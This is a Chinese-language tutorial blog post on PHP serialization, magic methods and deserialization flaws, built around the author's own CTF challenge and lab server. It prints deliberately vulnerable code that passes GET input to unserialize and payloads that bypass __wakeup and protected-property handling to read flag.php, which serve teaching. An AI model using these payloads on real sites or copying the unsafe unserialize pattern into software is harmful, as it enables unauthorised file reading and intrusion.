php反序列化漏洞入门 – 作者:lesssafe

什么是序列化与反序列化?

(反)序列化给我们传递对象提供了一种简单的方法。serialize()将一个对象转换成一个字符串,unserialize()将字符串还原为一个对象,在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。

序列化

序列化是将变量转换为可保存或传输的字符串的过程;在php中是使用serialize()方法实现将类进行序列化,下面是一段php序列化代码,可以通过注释理解代码含义。

<?php
class LessSafe    	//定义一个LessSafe类
{
public $name  = 'LessSafe';   //定义一个name变量
public $age = 2;	//定义一个age变量
function getname()	//定义一个方法				
{
	echo $this->name;
}
}
$s = new LessSafe();   //创建一个对象
echo $s->getname()."</br>";	//调用方法
$s_serialize = serialize($s);	//讲对象进行序列化
print_r($s_serialize);		//打印序列化结果
?>

序列化运行结果

1607579818_5fd1b8aae45216a5eb06e.png!small?1607579819707

反序列化结果:O:8:”LessSafe”:2:{s:4:”name”;s:8:”LessSafe”;s:3:”age”;i:2;}

O为对象Object,8为LessSafe对象名长度,2为{}内属性的个数,{}内为对象的属性,s为类型string字符串 4为属性名的长度分号;隔开后是该属性的值s为值类型为string字符串类型 4位属性名的长度 name就是属性名了(属性名为string类型要使用双引号) 8为值的长度 LessSafe是值 后面age属性与name属性类似除了值数据类型为整型i值为2

反序列化

<?php
$b=unserialize($_GET[H]);  //通过get传参将序列化内容传进来,使用unserialize进行反序列化处理
print_r($b);  //打印反序列化结果
?>

我在这里使用了上文序列换的结果传递到服务端进行处理并查看打印结果

http://192.168.75.138/fxlh.php?H=O:8:”LessSafe”:2:{s:4:”name”;s:8:”LessSafe”;s:3:”age”;i:2;}

1607581010_5fd1bd52b8b47589250f3.png!small?1607581011427

魔法函数

在介绍反序列化之前,我们需要了解一下魔法函数,__construct当一个对象创建时调用(constructor);__destruct当一个对象被销毁时调用(destructor);__toString当一个对象被当作一个字符串时使用;__sleep当对一个对象序列化时,php就会调用__sleep方法(如果存在的话),__wakeup在反序列化时,php就会调用__wakeup方法(如果存在的话)。

下面是调用__construct、__destruct、__toString时案例

<?php
class TestClass
{
    public $variable = 'This is a string';	//一个变量
    public function PrintVariable()	//一个简单的方法
    {
        echo $this->variable.'<br />';
    }
    public function  __construct()	//Constructor
    {
        echo '__construct<br />';
    }
    public function __destruct()	//Destructor
    {
        echo '__destruct<br />';
    }
    public function __toString() //toString
    {
        return '__toString<br />';
    }
}
$object = new TestClass();	//创建一个对象,__construct会被调用
$object->PrintVariable();	//创建一个方法

echo $object;	//对象被当作一个字符串,toString会被调用
//php脚本要结束时,__destruct会被调用
?>

1607585119_5fd1cd5fbfbd568fc73ae.png!small?1607585120398

下面是调用__sleep时案例

<?php
class LessSafe    //定义一个LessSafe类
{
public $name  = 'LessSafe';   //定义一个name变量
public $age = 2;	//定义一个age变量
function getname()	//定义一个方法				
{
	echo $this->name;
}
function __sleep()  //定义__sleep魔法函数
{
	echo "When using serialize, __sleep() will be called";
}
}
$s = new LessSafe();   	//创建一个对象
echo $s->getname()."</br>";	//调用方法
$s_serialize = serialize($s);	//讲对象进行序列化
print_r($s_serialize);		//打印序列化结果
?>

1607587567_5fd1d6efa013c3bb0d14d.png!small?1607587568398

下面是调用__wakeup时的案例

<?php
class LessSafe    //定义一个LessSafe类
{
public $name  = 'LessSafe';   //定义一个name变量
public $age = 2;	//定义一个age变量
function getname()	//定义一个方法				
{
	echo $this->name;
}
function __wakeup()
{
	echo"When using unserialize, __wakeup() will be called";
}
}

$s = new LessSafe();   	//创建一个对象
echo $s->getname()."</br>";		//调用方法
unserialize($_GET[id])
?>

一道ctf试题带你了解反序列化漏洞

ctf源代码

下面是我编写的一道简单的ctf试题,试题代码有一个LessSafe类,类中有一个变量,两个魔法函数,本题重点突破点在__destruct魔法函数,file名字也是可控的,会导致反序列化漏洞读取flage.php内容。本题有连个难点,1、需要绕过__wakeup 2、需要绕过$file的protected属性。

<?php
class LessSafe{
protected $file='index.php';
function __destruct(){
if(!empty($this->file))
{
show_source($this->file);
}
}
function __wakeup(){
$this->file='index.php';
}
}
if(!isset($_GET['file'])){
show_source('index.php');
}
else{
unserialize($_GET['file']);
}
//flag in flag.php
?>

正常思路payload

http://192.168.75.146/ctf/index.php?file=O:8:”LessSafe”:1:{s:4:”file”;s:8:”flag.php”;}

构造上述payload后发现没有读取到flag.php文件,因为LessSafe类中有__wakeup魔法函数,在使用unserialize会执行__wakeup魔法函数,将$file=’index.php’

1607655223_5fd2df3718c7da96e3798.png!small?1607655224326

__wakeup绕过

只需要构造序列化时,大于序列对象属性个数即可绕过__wakeup

http://192.168.75.146/ctf/index.php?file=O:8:”LessSafe”:2:{s:4:”file”;s:8:”flag.php”;}

将属性个数改成2,测试payload

1607655727_5fd2e12f9abcbebe1a566.png!small?1607655728955

what??,小朋友你是否有很多问号

图片[7]-php反序列化漏洞入门 – 作者:lesssafe-安全小百科

那在仔细读一遍源代码吧,发现源代码中$file的属性时protected,经过学习发现有绕过protected方法

protected绕过

经过学习得到最终payload

http://192.168.75.146/ctf/index.php?file=O:8:”LessSafe”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}

\00是0的二进制,S是序列换二级制表示方法(大概是这个意思)

最终拿到flag

1607656730_5fd2e51ae98adc7b9c749.png!small?1607656732193

实验代码

实验代码GitHub地址

https://github.com/lesssafe/PhpUnserialize

记得点亮star

来源:freebuf.com 2020-12-11 13:02:43 by: lesssafe

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论